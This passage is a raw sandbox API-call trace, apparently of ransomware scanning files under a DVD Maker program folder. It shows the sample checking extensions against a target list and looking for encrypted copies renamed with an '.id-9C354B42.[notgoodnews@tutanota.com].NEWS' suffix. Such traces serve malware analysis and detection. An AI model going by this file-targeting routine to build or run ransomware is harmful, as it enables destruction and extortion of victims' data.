(lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned 83 [0217.415] lstrlenW (lpString=".zip") returned 4 [0217.415] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0217.415] lstrlenW (lpString=".rar") returned 4 [0217.415] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0217.416] lstrlenW (lpString=".bz2") returned 4 [0217.416] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0217.416] lstrlenW (lpString=".7z") returned 3 [0217.416] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0217.417] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned 83 [0217.417] lstrlenW (lpString=".dbf") returned 4 [0217.417] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0217.417] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned 83 [0217.417] lstrlenW (lpString=".1cd") returned 4 [0217.417] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0217.417] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned 83 [0217.417] lstrlenW (lpString=".jpg") returned 4 [0217.417] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0217.419] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0217.419] lstrlenW (lpString="Perf_Scenes_Mask1.png") returned 21 [0217.419] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0217.909] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=6922) returned 1 [0217.910] CloseHandle (hObject=0x35c) returned 1 [0217.910] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png")) returned 0x20 [0218.048] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.398] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.398] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0218.398] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0218.398] lstrlenW (lpString=".doc") returned 4 [0218.398] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0218.398] lstrlenW (lpString=".docx") returned 5 [0218.398] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0218.398] lstrlenW (lpString=".pdf") returned 4 [0218.398] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0218.399] lstrlenW (lpString=".xls") returned 4 [0218.399] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0218.399] lstrlenW (lpString=".xlsx") returned 5 [0218.399] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0218.399] lstrlenW (lpString=".ppt") returned 4 [0218.399] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0218.399] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0218.399] lstrlenW (lpString=".zip") returned 4 [0218.399] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0218.399] lstrlenW (lpString=".rar") returned 4 [0218.399] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0218.399] lstrlenW (lpString=".bz2") returned 4 [0218.400] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0218.400] lstrlenW (lpString=".7z") returned 3 [0218.400] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0218.400] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0218.400] lstrlenW (lpString=".dbf") returned 4 [0218.400] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0218.400] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0218.400] lstrlenW (lpString=".1cd") returned 4 [0218.400] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0218.400] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0218.400] lstrlenW (lpString=".jpg") returned 4 [0218.400] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0218.401] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0218.401] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0218.401] lstrlenW (lpString=".doc") returned 4 [0218.401] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0218.401] lstrlenW (lpString=".docx") returned 5 [0218.401] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0218.402] lstrlenW (lpString=".pdf") returned 4 [0218.402] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0218.402] lstrlenW (lpString=".xls") returned 4 [0218.402] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0218.402] lstrlenW (lpString=".xlsx") returned 5 [0218.402] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0218.402] lstrlenW (lpString=".ppt") returned 4 [0218.402] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0218.402] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0218.402] lstrlenW (lpString=".zip") returned 4 [0218.402] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0218.403] lstrlenW (lpString=".rar") returned 4 [0218.403] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0218.403] lstrlenW (lpString=".bz2") returned 4 [0218.403] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0218.403] lstrlenW (lpString=".7z") returned 3 [0218.404] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0218.404] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0218.404] lstrlenW (lpString=".dbf") returned 4 [0218.404] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0218.404] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0218.404] lstrlenW (lpString=".1cd") returned 4 [0218.404] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0218.404] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0218.404] lstrlenW (lpString=".jpg") returned 4 [0218.404] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0218.407] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0218.407] lstrlenW (lpString="1047_576black.png") returned 17 [0218.407] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0218.492] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=4570) returned 1 [0218.492] CloseHandle (hObject=0x338) returned 1 [0218.492] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png")) returned 0x20 [0218.552] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.553] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.553] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned 66 [0218.553] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned 66 [0218.553] lstrlenW (lpString=".doc") returned 4 [0218.553] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0218.553] lstrlenW (lpString=".docx") returned 5 [0218.554] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0218.554] lstrlenW (lpString=".pdf") returned 4 [0218.554] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0218.554] lstrlenW (lpString=".xls") returned 4 [0218.554] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0218.554] lstrlenW (lpString=".xlsx") returned 5 [0218.554] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0218.554] lstrlenW (lpString=".ppt") returned 4 [0218.554] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0218.554] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned 66 [0218.555] lstrlenW (lpString=".zip") returned 4 [0218.555] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0218.555] lstrlenW (lpString=".rar") returned 4 [0218.555] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0218.555] lstrlenW (lpString=".bz2") returned 4 [0218.555] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0218.555] lstrlenW (lpString=".7z") returned 3 [0218.555] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0218.555] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned 66 [0218.555] lstrlenW (lpString=".dbf") returned 4 [0218.555] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0218.556] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned 66 [0218.556] lstrlenW (lpString=".1cd") returned 4 [0218.556] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0218.556] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned 66 [0218.556] lstrlenW (lpString=".jpg") returned 4 [0218.556] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0218.556] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned 66 [0218.556] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned 66 [0218.556] lstrlenW (lpString=".doc") returned 4 [0218.556] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0218.557] lstrlenW (lpString=".docx") returned 5 [0218.557] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0218.557] lstrlenW (lpString=".pdf") returned 4 [0218.557] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0218.557] lstrlenW (lpString=".xls") returned 4 [0218.557] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0218.557] lstrlenW (lpString=".xlsx") returned 5 [0218.557] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0218.558] lstrlenW (lpString=".ppt") returned 4 [0218.558] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0218.558] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned 66 [0218.558] lstrlenW (lpString=".zip") returned 4 [0218.558] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0218.558] lstrlenW (lpString=".rar") returned 4 [0218.558] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0218.559] lstrlenW (lpString=".bz2") returned 4 [0218.561] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0218.561] lstrlenW (lpString=".7z") returned 3 [0218.561] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0218.561] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned 66 [0218.561] lstrlenW (lpString=".dbf") returned 4 [0218.561] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0218.561] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned 66 [0218.561] lstrlenW (lpString=".1cd") returned 4 [0218.561] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0218.561] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned 66 [0218.561] lstrlenW (lpString=".jpg") returned 4 [0218.561] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0218.562] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0218.562] lstrlenW (lpString="vistabg.png") returned 11 [0218.562] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0218.564] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=195804) returned 1 [0218.564] CloseHandle (hObject=0x338) returned 1 [0218.564] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png")) returned 0x20 [0218.571] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.575] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.576] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0218.576] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0218.576] lstrlenW (lpString=".doc") returned 4 [0218.576] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0218.576] lstrlenW (lpString=".docx") returned 5 [0218.576] lstrcmpiW (lpString1=".docx", lpString2="g.png") returned -1 [0218.576] lstrlenW (lpString=".pdf") returned 4 [0218.576] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0218.576] lstrlenW (lpString=".xls") returned 4 [0218.576] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0218.576] lstrlenW (lpString=".xlsx") returned 5 [0218.577] lstrcmpiW (lpString1=".xlsx", lpString2="g.png") returned -1 [0218.577] lstrlenW (lpString=".ppt") returned 4 [0218.577] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0218.577] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0218.577] lstrlenW (lpString=".zip") returned 4 [0218.577] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0218.577] lstrlenW (lpString=".rar") returned 4 [0218.577] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0218.577] lstrlenW (lpString=".bz2") returned 4 [0218.577] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0218.578] lstrlenW (lpString=".7z") returned 3 [0218.578] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0218.579] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0218.579] lstrlenW (lpString=".dbf") returned 4 [0218.579] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0218.579] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0218.579] lstrlenW (lpString=".1cd") returned 4 [0218.579] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0218.580] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0218.580] lstrlenW (lpString=".jpg") returned 4 [0218.580] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0218.581] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0218.581] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0218.581] lstrlenW (lpString=".doc") returned 4 [0218.581] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0218.581] lstrlenW (lpString=".docx") returned 5 [0218.581] lstrcmpiW (lpString1=".docx", lpString2="g.png") returned -1 [0218.581] lstrlenW (lpString=".pdf") returned 4 [0218.581] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0218.581] lstrlenW (lpString=".xls") returned 4 [0218.581] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0218.581] lstrlenW (lpString=".xlsx") returned 5 [0218.582] lstrcmpiW (lpString1=".xlsx", lpString2="g.png") returned -1 [0218.582] lstrlenW (lpString=".ppt") returned 4 [0218.582] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0218.582] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0218.583] lstrlenW (lpString=".zip") returned 4 [0218.583] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0218.583] lstrlenW (lpString=".rar") returned 4 [0218.583] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0218.583] lstrlenW (lpString=".bz2") returned 4 [0218.583] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0218.583] lstrlenW (lpString=".7z") returned 3 [0218.583] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0218.583] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0218.583] lstrlenW (lpString=".dbf") returned 4 [0218.583] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0218.583] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0218.584] lstrlenW (lpString=".1cd") returned 4 [0218.584] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0218.584] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0218.584] lstrlenW (lpString=".jpg") returned 4 [0218.584] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0218.585] lstrcmpiW (lpString1=".bmp", lpString2=".NEWS") returned -1 [0218.585] lstrlenW (lpString="rectangle_glass_Thumbnail.bmp") returned 29 [0218.585] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0218.588] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=5072) returned 1 [0218.588] CloseHandle (hObject=0x338) returned 1 [0218.589] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp")) returned 0x20 [0218.589] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.590] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.591] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned 73 [0218.591] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned 73 [0218.591] lstrlenW (lpString=".doc") returned 4 [0218.591] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0218.591] lstrlenW (lpString=".docx") returned 5 [0218.591] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0218.591] lstrlenW (lpString=".pdf") returned 4 [0218.591] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0218.591] lstrlenW (lpString=".xls") returned 4 [0218.591] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0218.592] lstrlenW (lpString=".xlsx") returned 5 [0218.592] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0218.592] lstrlenW (lpString=".ppt") returned 4 [0218.592] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0218.592] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned 73 [0218.592] lstrlenW (lpString=".zip") returned 4 [0218.593] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0218.593] lstrlenW (lpString=".rar") returned 4 [0218.593] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0218.593] lstrlenW (lpString=".bz2") returned 4 [0218.593] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0218.593] lstrlenW (lpString=".7z") returned 3 [0218.593] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0218.593] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned 73 [0218.593] lstrlenW (lpString=".dbf") returned 4 [0218.593] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0218.594] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned 73 [0218.594] lstrlenW (lpString=".1cd") returned 4 [0218.594] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0218.594] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned 73 [0218.594] lstrlenW (lpString=".jpg") returned 4 [0218.594] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0218.594] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned 73 [0218.594] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned 73 [0218.594] lstrlenW (lpString=".doc") returned 4 [0218.594] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0218.595] lstrlenW (lpString=".docx") returned 5 [0218.595] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0218.595] lstrlenW (lpString=".pdf") returned 4 [0218.595] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0218.595] lstrlenW (lpString=".xls") returned 4 [0218.595] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0218.595] lstrlenW (lpString=".xlsx") returned 5 [0218.595] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0218.595] lstrlenW (lpString=".ppt") returned 4 [0218.595] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0218.596] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned 73 [0218.596] lstrlenW (lpString=".zip") returned 4 [0218.596] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0218.596] lstrlenW (lpString=".rar") returned 4 [0218.596] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0218.596] lstrlenW (lpString=".bz2") returned 4 [0218.596] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0218.596] lstrlenW (lpString=".7z") returned 3 [0218.596] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0218.597] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned 73 [0218.597] lstrlenW (lpString=".dbf") returned 4 [0218.597] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0218.597] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned 73 [0218.597] lstrlenW (lpString=".1cd") returned 4 [0218.597] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0218.597] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned 73 [0218.597] lstrlenW (lpString=".jpg") returned 4 [0218.597] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0218.598] lstrcmpiW (lpString1=".bmp", lpString2=".NEWS") returned -1 [0218.599] lstrlenW (lpString="rectangle_highlights_Thumbnail.bmp") returned 34 [0218.599] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0218.601] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=5072) returned 1 [0218.601] CloseHandle (hObject=0x338) returned 1 [0218.601] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp")) returned 0x20 [0218.601] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD 